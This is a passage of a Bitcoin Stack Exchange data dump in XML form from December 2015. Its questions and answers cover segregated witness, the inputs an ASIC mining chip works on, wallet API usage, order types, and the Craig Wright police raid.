very curious...&lt;/p&gt;&#xA;" OwnerUserId="29613" LastActivityDate="2017-08-20T07:27:17.240" Title="Coinbase wallet address listed as spent without spending" Tags="|coinbase.com|e-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41763" PostTypeId="1" CreationDate="2015-12-10T08:35:22.790" Score="0" ViewCount="811" Body="&lt;p&gt;I am integrating blocktrail api in my web application and i am new to bitcoin.&#xA;I created new account in blocktrail,and created new wallet.And it is 0.00000000 tBTC  now.&#xA;Will you please tell me how to make payment using this blocktrail?&#xA;I foud the code in &lt;a href=&quot;https://www.blocktrail.com/api/docs/lang/php#receiving_transactions.But&quot; rel=&quot;nofollow&quot;&gt;https://www.blocktrail.com/api/docs/lang/php#receiving_transactions.But&lt;/a&gt; How to transfer bitcoin to our merchant account from client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-error is coming &quot;Uncaught exception &lt;strong&gt;strong text&lt;/strong&gt;'Blocktrail\SDK\Connection\Exceptions\EndpointSpecificError' with message 'Wallet balance too low'&quot;;&lt;/p&gt;&#xA;" OwnerUserId="31101" LastActivityDate="2016-04-09T04:57:50.047" Title="bitcoin payment using Blocktrail?" Tags="|php|blocktrail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41764" PostTypeId="1" AcceptedAnswerId="41771" CreationDate="2015-12-10T08:51:32.560" Score="18" ViewCount="1082" Body="&lt;p&gt;I've just heard about it, and it is claimed to be a &quot;turning point&quot; in the block-size debate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is &quot;&lt;a href=&quot;http://www.coindesk.com/segregated-witness-bitcoin-block-size-debate/&quot;&gt;segregated witness&lt;/a&gt;?&quot; how does it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can it be used for improving network scalability?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the answer to all of network's scalability concerns?&lt;/p&gt;&#xA;" OwnerUserId="15073" LastEditorUserId="18196" LastEditDate="2015-12-10T22:49:20.483" LastActivityDate="2016-01-08T15:25:55.587" Title="What is &quot;segregated witness&quot; and how can it improve network scalability?" Tags="|scalability|blocksize|block-size-increase|segregated-witness|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41765" PostTypeId="1" AcceptedAnswerId="41766" CreationDate="2015-12-10T11:36:07.240" Score="1" ViewCount="128" Body="&lt;p&gt;Recently, &lt;a href=&quot;http://www.wired.co.uk/news/archive/2015-12/09/bitcoin-founder-craig-steven-wright-police&quot; rel=&quot;nofollow&quot;&gt;WIRED&lt;/a&gt; released an article about an alleged creator of Bitcoin being raided by the police. Briefly, the article mention the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Police raid home of bitcoin 'founder' Craig Steven Wright&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;em&gt;09 December 15&lt;/em&gt;  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Police have raided the home of a 44-year-old Australian alleged to be&#xA;  the creator of cryptocurrency bitcoin.&lt;br&gt;&#xA;  Craig Steven Wright, a tech&#xA;  entrepreneur living in Sydney, was labelled by WIRED US as the&#xA;  mysterious 'founder' of the digital currency -- that has previously&#xA;  only been known under the pseudonym Satoshi Nakamoto.&lt;br&gt;&#xA;  Since Wright&#xA;  was named as being the potential originator behind bitcoin police have&#xA;  raided his home and office, although the Guardian reports the raids&#xA;  surround tax issues and not the bitcoin revelations specifically.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;1) What crimes Satoshi Nakamoto has done in order to be chased by the police? This applies only to Australia or around the globe?&lt;br&gt;&#xA;2) Nowadays there are several hundreds of other cryptocurrencies. All those developers are also liable of such punishments?&lt;/p&gt;&#xA;" OwnerUserId="30509" LastEditorUserId="30509" LastEditDate="2015-12-10T11:52:16.627" LastActivityDate="2015-12-10T15:18:25.150" Title="Police raid home of bitcoin 'founder'" Tags="|altcoin|legal|politics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41766" PostTypeId="2" ParentId="41765" CreationDate="2015-12-10T15:18:25.150" Score="4" Body="&lt;p&gt;According to &lt;a href=&quot;http://www.theguardian.com/technology/2015/dec/09/bitcoin-founder-craig-wrights-home-raided-by-australian-police&quot; rel=&quot;nofollow&quot;&gt;yesterday's article about this in The Guardian&lt;/a&gt;, the Australian Federal Police released the following statement about the raid, stating that the raid was not related to any involvement that wright may (or may not) have had in inventing bitcoin:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;“The AFP can confirm it has conducted search warrants to assist the Australian Taxation Office at a residence in Gordon and a business premises in Ryde, Sydney. This matter is unrelated to recent media reporting regarding the digital currency bitcoin.”&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The article goes on to reference the Australian Tax Office's involvement in the raid, and a recent interview between the ATO and Wright which focused on Wright's bitcoin holdings.  Capital gains on the sales of appreciated bitcoins are &lt;a href=&quot;https://www.ato.gov.au/General/Gen/Tax-treatment-of-crypto-currencies-in-Australia---specifically-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;subject to tax&lt;/a&gt; in Australia, so some are speculating the raid could be about back taxes that Wright may be subject to from his bitcoin holdings.&lt;/p&gt;&#xA;" OwnerUserId="30884" LastActivityDate="2015-12-10T15:18:25.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41767" PostTypeId="1" CreationDate="2015-12-10T15:28:35.810" Score="0" ViewCount="1189" Body="&lt;p&gt;I'm using blockchain dumps from &lt;a href=&quot;http://dumps.webbtc.com/&quot; rel=&quot;nofollow&quot;&gt;http://dumps.webbtc.com/&lt;/a&gt; &#xA;in database schema in mentioned that result of script in pk_script should specify recipient of transaction. But how do I get amount of bitcoin sent and sender? &lt;/p&gt;&#xA;" OwnerUserId="3324" LastActivityDate="2016-04-08T19:56:19.367" Title="How do I build bitcoin transactions graph?" Tags="|transactions|blockchain|sending|receiving|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41770" PostTypeId="2" ParentId="41767" CreationDate="2015-12-10T18:18:35.930" Score="1" Body="&lt;p&gt;The database schema is located here: &lt;a href=&quot;https://webbtc.com/api/schema&quot; rel=&quot;nofollow&quot;&gt;https://webbtc.com/api/schema&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be disappointed to find out that it's not as simple as an amount and a sender for each transaction. What there are is a list of inputs (references to previous outputs), and a list of new outputs. Each output with an amount and a pseudonymous address. Each input has a TXID and output index to reference which previous output it is spending. Unless you know who owns specific addresses, though, you can't determine the identity of the sender(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;code&gt;prev_out&lt;/code&gt; and &lt;code&gt;prev_out_index&lt;/code&gt; from a row in the inputs table to find the associated previous output, which will tell you the amount and address.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-12-10T18:18:35.930" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41771" PostTypeId="2" ParentId="41764" CreationDate="2015-12-10T18:39:23.150" Score="17" Body="&lt;p&gt;It's not a silver bullet solution, but it's a really good start.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://twitter.com/gavinandresen/status/674590503938220032&quot; rel=&quot;noreferrer&quot;&gt;Gavin Andresen&lt;/a&gt; has said, Segregated Witness is a poor name. The 'segregated' part of the name is there to denote that there is separation being done. The 'witness' portion of the name comes from the fact that digital signatures are often time called witnesses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Segregated witness splits up transactions into different parts that can be handled separately instead of the single chunk of data as they are now. Specifically, it takes the digital signatures out of transactions and puts them in a separate merkle tree that has the same structure as the transaction merkle tree. So, if fully implemented, to check that an input legally spends its previous output, you would get the signature from the signature tree, instead of the standard &lt;code&gt;scriptSig&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are a few of the benefits of this idea:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Since signature data (witness data) is stored outside the transaction (and outside the standard block), it means that that data doesn't have to be counted towards the block size. Pieter Wuille is proposing a 75% discount on space taken up by signature data, meaning that you can fit 4x as much signature data into blocks. This effectively results in a soft fork increase to the block size.&lt;/li&gt;&#xA;&lt;li&gt;Completely solves malleability issues. Using transactions with the signature data outside the transaction means that TXIDs don't hash the signature data, which means that they're not malleable (assuming you're using the standard SIGHASH flag). Technically, the signatures are still malleable, it's just that modifying them doesn't invalidate chains of transactions because the signatures don't sign the modifiable parts.&lt;/li&gt;&#xA;&lt;li&gt;Allows for a slow upgrade. Software has to opt in to using Segregated Witness after it has been fully deployed to the network, but in the meantime (and afterward) transactions can still be made as usual without segregated witness.&lt;/li&gt;&#xA;&lt;li&gt;All future Script updates become soft forks. When segregated witness gets fully implemented, it will have a version byte in outputs for what version of Script it is using. And the behaviour for clients that see a script with a non recognized version number is that they treat it as an 'anyone can spend' output. &lt;/li&gt;&#xA;&lt;li&gt;Signatures only prove that a transaction is authorized, it doesn't describe where funds are going or where they came from. So, after they're checked they can be discarded. Putting the signatures in a separate data structure makes it much easier to prune that data, which results in much less blockchain data needing to be stored on your hard drive.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, this doesn't completely increase the block size, it just increases the amount of signature data that a block can store. Since transactions are roughly 60% made up of signature data, this is still a pretty big gain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside is that it's a non-trivial upgrade for the network to start using segregated witness. The transaction serialization format is different, and code everywhere that makes bitcoin transactions needs to be updated. Since it's an opt-in process, though, upgrading can be done slowly over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can watch Pieter Wuille's great talk on Segregated Witness at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=fst1IK_mrng&amp;amp;feature=youtu.be&amp;amp;t=37m12s&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=fst1IK_mrng&amp;amp;feature=youtu.be&amp;amp;t=37m12s&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2016-01-08T15:25:55.587" LastActivityDate="2016-01-08T15:25:55.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41772" PostTypeId="1" CreationDate="2015-12-10T21:39:14.743" Score="1" ViewCount="2811" Body="&lt;p&gt;I need to get the value displayed in &lt;code&gt;usd&lt;/code&gt; on the transaction details page of blockchain.info, if you hover the &lt;code&gt;btc sent&lt;/code&gt; you can see a &quot;value at time of transaction&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can get this data programmatically so I can use it to track history of transaction prices on an address? I've searched all over but can't find where to get the price shown in blockchain.info for my tx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example:&lt;br&gt;&#xA;For transaction: &lt;a href=&quot;https://blockchain.info/tx/a11d6b6de30b5f1a5090c0f9d4b91fcf0e1384b86dd78614301bc46080d74366&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/a11d6b6de30b5f1a5090c0f9d4b91fcf0e1384b86dd78614301bc46080d74366&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my address is &lt;code&gt;158n3kPsg822Ci5131ToyYsM66gnwcCzKm&lt;/code&gt;, &#xA;I need to be able to retrieve programmatically the &lt;code&gt;2079.7&lt;/code&gt; value as shown on the transaction page.&lt;/p&gt;&#xA;" OwnerUserId="31116" LastEditorUserId="5406" LastEditDate="2016-05-01T17:27:42.320" LastActivityDate="2016-05-01T17:27:42.320" Title="Get &quot;Value at time of transaction&quot; from blockchain.info api" Tags="|api|blockchain.info|value|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41774" PostTypeId="1" AcceptedAnswerId="41776" CreationDate="2015-12-10T21:45:51.677" Score="12" ViewCount="384" Body="&lt;p&gt;Segregated witnesses sound like a win in a lot of ways, I'm just trying to understand how they apply to scalability. If I understand correctly, there is a second Merkle tree of witnesses mirroring the transaction data. The witness tree's root is committed to in the coinbase, but otherwise this second tree lives outside of the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't the witnesses still have to be relayed to other nodes to validate? Why is it acceptable now to send more data, but raising the block size was dangerous, and exclusionary of nodes on slow connections before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if witnesses are outside of the block and prunable, how will a fresh fully validating node get up to date? If a smaller subset of full nodes hosts all witnesses, does that trade off security for amount of transactions in a block?&lt;/p&gt;&#xA;" OwnerUserId="18506" LastEditorUserId="18506" LastEditDate="2015-12-10T22:56:57.923" LastActivityDate="2016-01-04T14:09:55.420" Title="What are the segregated witness tradeoffs?" Tags="|scalability|sidechains|segregated-witness|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41775" PostTypeId="2" ParentId="41717" CreationDate="2015-12-10T22:36:43.887" Score="10" Body="&lt;p&gt;&lt;em&gt;TL;DR: ASIC input/output is the bold text below.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, the ASIC does not assemble a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block is assembled by a mining pool server. If you are solo mining you could let bitcoind assemble the block but you'd still need mining pool or proxy software in between to make a modern ASIC machine (stratum only) and bitcoind (getblocktemplate only) communicate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modern ASIC miners have a small computer built-in, acting as a controller. Some use a beaglebone. This is a low-performance computer which handles the stratum protocol, generating work, pushing work to the ASIC chips in the machine, and receiving results from them. The ASIC chips only handle the part of the number crunching that must be repeated many billions of times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the miner receives data over the stratum protocol it is allowed to change the nonce, the timestamp and part of the coinbase (often called the extra nonce). An ASIC chip goes through all possible nonce values pretty quickly, so the controller needs to be able to make more work using the extra nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the controller changes the extra nonce it needs to generate a new hash for the coinbase transaction (which has now been modified) and use this hash together with a merkle branch received from the pool server to generate a new merkle root. This merkle root goes in the block header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a merkle root is generated the controller can now calculate the midstate. The bitcoin block header is 80 bytes. SHA-256 hashing is done in chunks of 64 bytes. Since the interesting parts which we are going to change are not in the first chunk the controller will hash the first chunk once and then the ASIC chip will do the rest billions of times while changing the nonce in the second chunk each time. The midstate is the state of the SHA-256 hashing engine after the first chunk has been processed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the input for the ASIC chip is the midstate (32 bytes) and the 16 bytes of the second chunk (last 16 bytes of our bitcoin block header). &lt;strong&gt;The outputs are nonces (4 bytes) that resulted in hashes below the target.&lt;/strong&gt; These nonces are retrieved by the controller and passed on to the pool server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what are those 16 bytes of data the ASIC chip needs in addition to the midstate? These 16 last bytes of the bitcoin block header are the 4 last bytes of the merkle root, 4 bytes of timestamp, 4 bytes of &quot;bits&quot; indicating current bitcoin target/difficulty, and 4 bytes of nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In reality the ASIC doesn't need to receive a 4 byte nonce from the controller. It is going to try different nonce values on its own. So we are left with this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The inputs to the ASIC chips are a 32 byte midstate, the last 4 bytes of the merkle root, a 4 byte timestamp, and 4 byte &quot;bits&quot; (target/difficulty).&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I managed to explain the above properly then you should now see why the ASIC chip is focused on this specific part of the work. For each time the work up to completing the midstate is done, the work after that point is repeated billions of times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also see that generating a new midstate (which also entails generating a new merkle root) is a lot more work than just incrementing the timestamp. So once you have enough midstates to keep the ASIC chips happy for one second, you can reuse the same midstates over and over every second just by incrementing the timestamp. If the controller is slow enough and the ASICs fast enough then this &quot;time rolling&quot; may be necessary for the machine to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The slowness of the controller can also mean that the ASIC machine has a minimum difficulty it can operate on. Otherwise it will get more results (nonces) than it can handle. But the same thing goes for the mining pool server which would also not want to be spammed to death.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For maximum efficiency the ASIC is designed to only handle a limited area where expensive specialization really pays off, while the rest is handled by a tiny computer that is very cheap and very energy efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: there are of course some differences between manufacturers. For instance some ASIC chips do not scan the entire nonce range. But the above should be the gist of it.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-12-10T22:36:43.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41776" PostTypeId="2" ParentId="41774" CreationDate="2015-12-10T22:38:40.647" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If I understand correctly, there is a second Merkle tree of witnesses mirroring the transaction data. The witness tree's root is committed to in the coinbase, but otherwise this second tree lives outside of the block.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That is my understanding as well.   &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Don't the witnesses still have to be relayed to other nodes to validate?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Only nodes that actually care about the signatures. There are thousands of SPV nodes, for example, that want to be able to calculate the TXID of the transactions they care about but that don't actually need the scriptSigs other than that, since SPV nodes rely on confirmations for security instead of fully checking scripts.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is it acceptable now to send more data, but raising the block size was dangerous, and exclusionary of nodes on slow connections before?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Many people rejected the idea of increasing the block size limit simply because it was a hard fork. The extra data and exclusion of some nodes is still an issue, and I'm sure there will still be plenty of arguments about how to count the witness data. This just eliminates/postpones the &lt;strong&gt;hard fork&lt;/strong&gt; max block size debate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pieter Wuille's current proposal is to give a 75% discount on signature data, increasing the effective max block size to about 4 MB in the worst case, but that would probably never come close to being realized in any normal, non-malicious, circumstance. I would estimate that a full 1M normal block would be a 1.8 MB block of completely SW transactions.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, if witnesses are outside of the block and prunable, how will a fresh fully validating node get up to date? If a smaller subset of full nodes hosts all witnesses, does that trade off security for amount of transactions in a block? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When a full node comes online now, it currently doesn't even check the script evaluations in anything older than the most recent checkpoint. In this sense, it's not a 'fully validating' node, it's more of a 'fully validating from 6 months ago onward' node. But, unfortunately, to build the UTXO set right now you still need to download the scriptSigs, even though they're not used for any validation. The Segregated witness change makes it so that in the case of SW transactions, excessively old scriptSigs that wouldn't be verified anyway don't have to also be downloaded, because the TXIDs don't use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that some transactions using Segregated witness doesn't magically make old-style transactions more prunable, unfortunately. However, if Segregated witness were fully in use by all transactions today, then in 5 years from now, a node that was getting up to sync wouldn't have to download a lot of the signature data from the past 5 years, just the most recent signature data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, there is a security trade-off there, but it's the exact same trade off that already exists. With SW, though, you just have to download less data (~60% less of the new SW transaction data) for the same security.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2016-01-04T14:09:55.420" LastActivityDate="2016-01-04T14:09:55.420" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41777" PostTypeId="1" CreationDate="2015-12-10T22:56:28.570" Score="2" ViewCount="12023" Body="&lt;p&gt;What is the difference between the two definitions that is not the following explanation: &quot;Sell BTC 2.3 at $593.18&quot; is an example of a limit order asking for $593.18 per 1 BTC. &quot;Buy BTC 0.32 at $592.03&quot; would be a limit order bidding for $592.03 per 1 BTC.&lt;/p&gt;&#xA;" OwnerUserId="31120" LastEditorUserId="5406" LastEditDate="2015-12-11T10:13:43.483" LastActivityDate="2015-12-11T10:13:43.483" Title="Limit order versus Market order" Tags="|trading|coinbase.com|coinbase-transaction|exchange-order|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41778" PostTypeId="2" ParentId="41763" CreationDate="2015-12-11T02:56:03.150" Score="1" Body="&lt;p&gt;You need to grab some testnet coins in your new wallet. You can get them from any &lt;a href=&quot;https://accounts.blockcypher.com/testnet-faucet&quot; rel=&quot;nofollow&quot;&gt;number&lt;/a&gt; &lt;a href=&quot;http://www.bitcointestnetfaucet.com/&quot; rel=&quot;nofollow&quot;&gt;of&lt;/a&gt; &lt;a href=&quot;http://tpfaucet.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;testnet&lt;/a&gt; &lt;a href=&quot;http://faucet.xeno-genesis.com/&quot; rel=&quot;nofollow&quot;&gt;faucets&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-12-11T02:56:03.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41779" PostTypeId="2" ParentId="41777" CreationDate="2015-12-11T06:35:21.063" Score="7" Body="&lt;p&gt;In a limit order, you specify how much of the asset (in this case BTC) you want to buy or sell, and the price you want.  If there are matching orders on the book (e.g. someone who wants to sell at the same price, or lower, as the price at which you want to buy), your order will be filled immediately.  If not, your order will stay on the book until matching orders arrive (which could be never).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(It is also possible for a limit order to be only partially filled, if the counterparty wants to trade a smaller amount than you did.  In that case the rest of the order remains on the book.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a market order, you only specify how much of the asset you want to trade.  Your order is then filled immediately at the best price currently available on the market.  For instance, if you place a market buy order, you will be matched with the current lowest-priced sell order on the book.  If that order is not large enough to completely fill yours, the next-lowest sell order will be used to fill some more of yours, and so on.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-12-11T06:35:21.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41780" PostTypeId="2" ParentId="41759" CreationDate="2015-12-11T07:30:33.470" Score="2" Body="&lt;p&gt;I don't use coinbase, but Xapo does exactly what you describe. They instantly transfer the funds to another wallet and move them around.  Probably some algos deciding what goes into cold storage and what stays, based on current outgoing flow demand.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the same time that you're sending btc to coinbase, many users will be withdrawing; hence they probably have developed attempts to optimize this flow of funds in the blockchain--while still retaining a number of transactions off-hot wallets.&lt;/p&gt;&#xA;" OwnerUserId="890" LastEditorUserId="890" LastEditDate="2017-08-20T07:27:17.240" LastActivityDate="2017-08-20T07:27:17.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41781" PostTypeId="2" ParentId="41759" CreationDate="2015-12-11T08:14:52.803" Score="3" Body="&lt;p&gt;You don't have a Coinbase wallet address, you have a Coinbase &lt;em&gt;deposit&lt;/em&gt; address that's used to deposit bitcoins into your wallet. Coinbase sweeps funds from deposit addresses into their secure holding accounts.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-12-11T08:14:52.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41787" PostTypeId="2" ParentId="41758" CreationDate="2015-12-11T17:05:08.810" Score="3" Body="&lt;p&gt;Wright:&lt;br&gt;&#xA;While his supposed credentials pointed at a polymath with a range of interests along the lines of what Satoshi must have studied, neither his contributions at a &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/3w027x/dr_craig_steven_wright_alleged_satoshi_by_wired/cxsfy8p&quot; rel=&quot;nofollow noreferrer&quot;&gt;recent discussion panel&lt;/a&gt;, nor his published work indicate that he has worked sufficiently on the main ideas of Bitcoin. Additionally, large parts of the corroborating evidence have &lt;a href=&quot;http://www.technologyreview.com/view/544431/how-to-spot-bitcoin-inventor-satoshi-nakamoto/&quot; rel=&quot;nofollow noreferrer&quot;&gt;not been substantiated or outright disproven&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kleiman:&lt;br&gt;&#xA;After a career as a soldier, technician, deputy sheriff, and detective, Kleiman only switched to working with computers in 1995 (at 30) after a crash turned him paraplegic.&lt;br&gt;&#xA;He then made career in computer forensics which, derived from the &lt;a href=&quot;https://en.wikipedia.org/wiki/Dave_Kleiman#Publications&quot; rel=&quot;nofollow noreferrer&quot;&gt;list of his publications&lt;/a&gt;, seemingly focused on password security, data recovery, and Windows exploits. On January 1, 2007 he was named a Microsoft MVP for Windows - Security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It seems unlikely that Wright and Kleiman, whether solely or as a team could be the creators of Bitcoin.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I just found out that the first version of Bitcoin was &lt;a href=&quot;https://bitcoin.stackexchange.com/a/41787/5406&quot;&gt;Windows only&lt;/a&gt;. So, maybe it is a shade more likely then.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-05-02T20:13:02.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41788" PostTypeId="1" CreationDate="2015-12-11T18:59:36.473" Score="4" ViewCount="131" Body="&lt;p&gt;Everyone I know that owns Bitcoin (including myself) seems to plan to sit on it until it becomes widely accepted/used and the price sky rockets to a ridiculously high value (100000 dollars each). It's great that the number of merchants accepting Bitcoin is increasing but if no one is paying with Bitcoin because they are waiting for the price go up, won't Bitcoin inevitably drop in value?&lt;/p&gt;&#xA;" OwnerUserId="31140" LastEditorUserId="5406" LastEditDate="2015-12-12T12:14:43.000" LastActivityDate="2015-12-12T12:14:43.000" Title="Will people not spending their Bitcoin cause Bitcoin to fail?" Tags="|exchange-rate|economic-theory|adoption|spending|" AnswerCount="1" CommentCount="4" ClosedDate="2015-12-14T13:13:12.007" ContentLicense="CC BY-SA 3.0" />
  <row Id="41789" PostTypeId="2" ParentId="41788" CreationDate="2015-12-11T19:15:17.660" Score="2" Body="&lt;p&gt;I beg to differ.  If you go to &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/&lt;/a&gt;, and look at the 'latest transactions', you'll see numerous transactions taking place continuously.  Also, there is a quite a bit of discussion within the bitcoin community about the need to increase the &lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability&quot; rel=&quot;nofollow&quot;&gt;limit of 7 transactions per second&lt;/a&gt;, and ways that this limit can be increased.&lt;/p&gt;&#xA;" OwnerUserId="30884" LastActivityDate="2015-12-11T19:15:17.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41790" PostTypeId="1" CreationDate="2015-12-11T19:48:05.880" Score="-1" ViewCount="1528" Body="&lt;p&gt;Today my friend  transferred bitcoins to my account and up till now there still 0/no confirmation.so how long is actually the period for the transection to be confirm? it is almost 8hours ad still no even single confirmation,plus I cannot even transferred my bitcoin to my friends. PLEASE HELP ME.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to search the solution but still dont get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the transection link:&#xA;3757f5a11b2c1af3b4f58f6d922496327aa6cba242772adad4cd928f2a736a9d&lt;/p&gt;&#xA;" OwnerUserId="31142" LastActivityDate="2015-12-11T20:01:42.897" Title="what is the longest period for a transection to be confirm?" Tags="|blockchain.info|confirmations|" AnswerCount="1" CommentCount="1" ClosedDate="2015-12-14T13:06:57.883" ContentLicense="CC BY-SA 3.0" />
  <row Id="41791" PostTypeId="2" ParentId="41790" CreationDate="2015-12-11T19:53:43.257" Score="1" Body="&lt;p&gt;Looking at the transaction details on &lt;a href=&quot;https://blockchain.info/tx/3757f5a11b2c1af3b4f58f6d922496327aa6cba242772adad4cd928f2a736a9d&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;, it looks like part of the problem is that this transaction spends an input which is unconfirmed.  If/when the input gets confirmed, and if everything else with the transaction is kosher, it's probably just a matter of time before the transaction is confirmed.  &lt;/p&gt;&#xA;" OwnerUserId="30884" LastActivityDate="2015-12-11T19:53:43.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41793" PostTypeId="2" ParentId="10827" CreationDate="2015-12-11T20:04:46.507" Score="3" Body="&lt;p&gt;Check out &lt;a href=&quot;https://gist.github.com/colindean/5239812&quot; rel=&quot;nofollow&quot;&gt;this shell script&lt;/a&gt;, which generate a public/private bitcoin address pair.&lt;/p&gt;&#xA;" OwnerUserId="30884" LastActivityDate="2015-12-11T20:04:46.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
